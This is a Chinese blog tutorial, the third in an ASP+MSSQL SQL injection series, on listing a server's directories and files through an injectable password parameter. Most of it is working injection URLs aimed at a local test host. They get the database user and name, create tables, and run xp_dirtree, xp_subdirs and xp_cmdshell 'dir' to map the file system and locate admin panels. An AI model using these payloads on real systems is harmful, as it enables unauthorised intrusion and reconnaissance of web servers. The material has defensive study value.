ASP+MSSQL系列注射教程之三。暴目录及文件列表。

 

使用的程序仍然是系列注射教程之一的漏洞程序,漏洞语句:
sql2="select * from bbsuser where username='admin' and password='"&request("password")&"'"


http://192.168.0.9:3005/test/f.asp?password=888888' and 0<>user_name()-- 看数据库权限
http://192.168.0.9:3005/test/f.asp?password=888888' and 0<>db_name()--   当前数据库名
http://192.168.0.9:3005/test/f.asp?password=888888' and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)----得其它数据库名

一、暴目录的第一种方法
xp_dirtree适用权限PUBLIC
exec master.dbo.xp_dirtree 'c:/'
返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段

http://192.168.0.9:3005/test/f.asp?password=888888' create table dirs(paths varchar(100), id int)--
http://192.168.0.9:3005/test/f.asp?password=888888' insert dirs exec master.dbo.xp_dirtree 'c:/'--
http://192.168.0.9:3005/test/f.asp?password=888888' and 0<>(select top 1 paths from dirs)--
http://192.168.0.9:3005/test/f.asp?password=888888' and 0<>(select top 1 paths from dirs where paths not in('winnt'))--
http://192.168.0.9:3005/test/f.asp?password=888888' and 0<>(select top 1 paths from dirs where paths not in('winnt','system32'))--
这种方法发现暴目录是将所有目录包括子目录都暴出来,像winnt下有很多子目录全部暴出来,不实用,一个一个查要累死。结合下面的方法只暴目录

二、暴目录的第二种方法
必须是sa权限才可以用xp_subdirs对像
http://192.168.0.9:3005/test/f.asp?password=88'create table temp(id nvarchar(255));--
http://192.168.0.9:3005/test/f.asp?password=88'insert into temp(id) exec master.dbo.xp_subdirs 'c:/';--
http://192.168.0.9:3005/test/f.asp?password=88' and 0<>(select top 1 id from temp)--

三、
不过你们想到了没有,可以将目录树写在表里然后用NBSI暴出表值。就可以得到全部目录列表。可以用来猜到管理后台目录。然后再用
exec master.dbo.xp_dirtree 'c:/查到的目录名'就可以猜文件名了。当然,你结合exec master.dbo.xp_cmdshell 'dir 目录'也可以猜出文件名。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值